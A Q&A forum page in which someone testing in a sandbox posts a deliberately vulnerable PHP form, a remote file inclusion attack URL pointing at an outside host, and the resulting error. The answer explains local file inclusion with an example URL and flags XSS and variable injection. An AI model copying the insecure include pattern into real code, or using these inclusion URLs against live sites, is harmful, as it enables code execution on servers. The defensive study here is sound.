Sign Up

Sign Up to our social questions and Answers Engine to ask questions, answer people’s questions, and connect with other people.

Have an account? Sign In

Have an account? Sign In Now

Sign In

Login to our social questions & Answers Engine to ask questions answer people’s questions & connect with other people.

Sign Up Here

Forgot Password?

Don't have account, Sign Up Here

Forgot Password

Lost your password? Please enter your email address. You will receive a link and will create a new password via email.

Have an account? Sign In Now

You must login to ask a question.

Forgot Password?

Need An Account, Sign Up Here

Please briefly explain why you feel this question should be reported.

Please briefly explain why you feel this answer should be reported.

Please briefly explain why you feel this user should be reported.

Sign InSign Up

The Archive Base

The Archive Base Logo The Archive Base Logo

The Archive Base Navigation

  • Home
  • SEARCH
  • About Us
  • Blog
  • Contact Us
Search
Ask A Question

Mobile menu

Close
Ask a Question
  • Home
  • Add group
  • Groups page
  • Feed
  • User Profile
  • Communities
  • Questions
    • New Questions
    • Trending Questions
    • Must read Questions
    • Hot Questions
  • Polls
  • Tags
  • Badges
  • Buy Points
  • Users
  • Help
  • Buy Theme
  • SEARCH
Home/ Questions/Q 8608901
In Process

The Archive Base Latest Questions

Editorial Team
  • 0
Editorial Team
Asked: June 12, 20262026-06-12T03:44:10+00:00 2026-06-12T03:44:10+00:00

I’ve setup a sandbox and trying to run exploits so I can better understand

  • 0

I’ve setup a sandbox and trying to run exploits so I can better understand how to better defend against them. When I run the following, the process is failing as it should and for the right reason. But then I’m not sure because I can’t find a lot of “how-to write a proper exploit”. Here is my code and following is the message on failure. Any guidance would be great.

 //unform.php (unprotected form)
 <html>
 <head>
 <title>Try An Exploit</title>
 <?php
 if (!empty($_GET)){
    foreach($_GET as $key=>$value){
    ${$key} = $value;
    }
}

 //no sanitizer here.
 echo $key;
 include($value);
 ?>
 </head>
 <body>
 <h1>This Is Bad</h1>

 <form action="#" method="get">
<select name="COLOR">
       <option value="red">red</option>
       <option value="blue">blue</option>
    </select>
<input type="submit" value="Kick Me" />
 </form>
 </body>

Exploit script, simple stuff:

 exploit.php
 <?php
   $somevar = "This is just a string";
   echo $somevar;
 ?>

Bad guy would hard code the following in their browser address bar:

 http://www.sandbox.com/path/to/unform.php?COLOR=http://www.remoteserv.com/exploit.php

Output to browser when trying to load the address:

 Warning: include() [function.include]: http:// wrapper is disabled in the server configuration by allow_url_include=0

So is that it? Or are there other technique I should be looking out for?
Thanks

  • 1 1 Answer
  • 0 Views
  • 0 Followers
  • 0
Share
  • Facebook
  • Report

Leave an answer
Cancel reply

You must login to add an answer.

Forgot Password?

Need An Account, Sign Up Here

1 Answer

  • Voted
  • Oldest
  • Recent
  • Random
  1. Editorial Team
    Editorial Team
    2026-06-12T03:44:11+00:00Added an answer on June 12, 2026 at 3:44 am

    It looks like the exploit in question is execution of arbitrary script. The script is not vulnerable to arbitrary execution of remote scripts, on account of some php.ini settings – but it is vulnerable to arbitrary execution of local scripts.

    Arbitrary Execution of Remote Scripts

    By default the allow_url_include php.ini directive is set to 0 – preventing you from including remote files, like so:

    include("http://www.remoteserv.com/exploit.php");
    

    … or equally like so:

    $myVar = "http://www.remoteserv.com/exploit.php";
    include($myVar);
    

    See Runtime Configurations – Filesystem and Streams Configuration Options and Using remote scripts on php.net for more information.

    Technically, you’re still vulnerable to attack in that the user can provide input that results in an error – realistically you should sanitize that input – but you’re not vulnerable to asbitrary execution of remote scripts.

    Arbitrary Execution of Local Scripts

    But the php.ini directives are not protecting your from local script execution. An attacker could use a URL like…

    http://www.sandbox.com/path/to/unform.php?wtv=/tmp/SomeFile.php
    

    … and that file will be included. It might be a non-PHP file (resulting in an error) or it might be a file which the attacker has place on your server – either by means of a file upload or by means of a Shared Hosting Environment.

    For further reading, chapter 5 of the book Essential PHP Security is devoted entirely to the security of include.

    Other

    You are also vulnerable to XSS:

    echo $key;
    

    When outputting $key – which is input – you should encode the output in some way, probably using htmlentities(...).

    You are also manipulating variables using use input:

    ${$key} = $value;
    

    …which is a bad idea.

    • 0
    • Reply
    • Share
      Share
      • Share on Facebook
      • Share on Twitter
      • Share on LinkedIn
      • Share on WhatsApp
      • Report

Sidebar

Related Questions

I am trying to understand how to use SyndicationItem to display feed which is
link Im having trouble converting the html entites into html characters, (&# 8217;) i
I have a jquery bug and I've been looking for hours now, I can't
Basically, what I'm trying to create is a page of div tags, each has
I have a string like this: La Torre Eiffel paragonata all&#8217;Everest What PHP function
I'm using v2.0 of ClassTextile.php, with the following call: $testimonial_text = $textile->TextileRestricted($_POST['testimonial']); ... and
I am trying to render a haml file in a javascript response like so:
I would like to run a str_replace or preg_replace which looks for certain words
I'm parsing an RSS feed that has an &#8217; in it. SimpleXML turns this
I'm trying to select an H1 element which is the second-child in its group

Explore

  • Home
  • Add group
  • Groups page
  • Communities
  • Questions
    • New Questions
    • Trending Questions
    • Must read Questions
    • Hot Questions
  • Polls
  • Tags
  • Badges
  • Users
  • Help
  • SEARCH

Footer

© 2021 The Archive Base. All Rights Reserved
With Love by The Archive Base

Insert/edit link

Enter the destination URL

Or link to existing content

    No search term specified. Showing recent items. Search or use up and down arrow keys to select an item.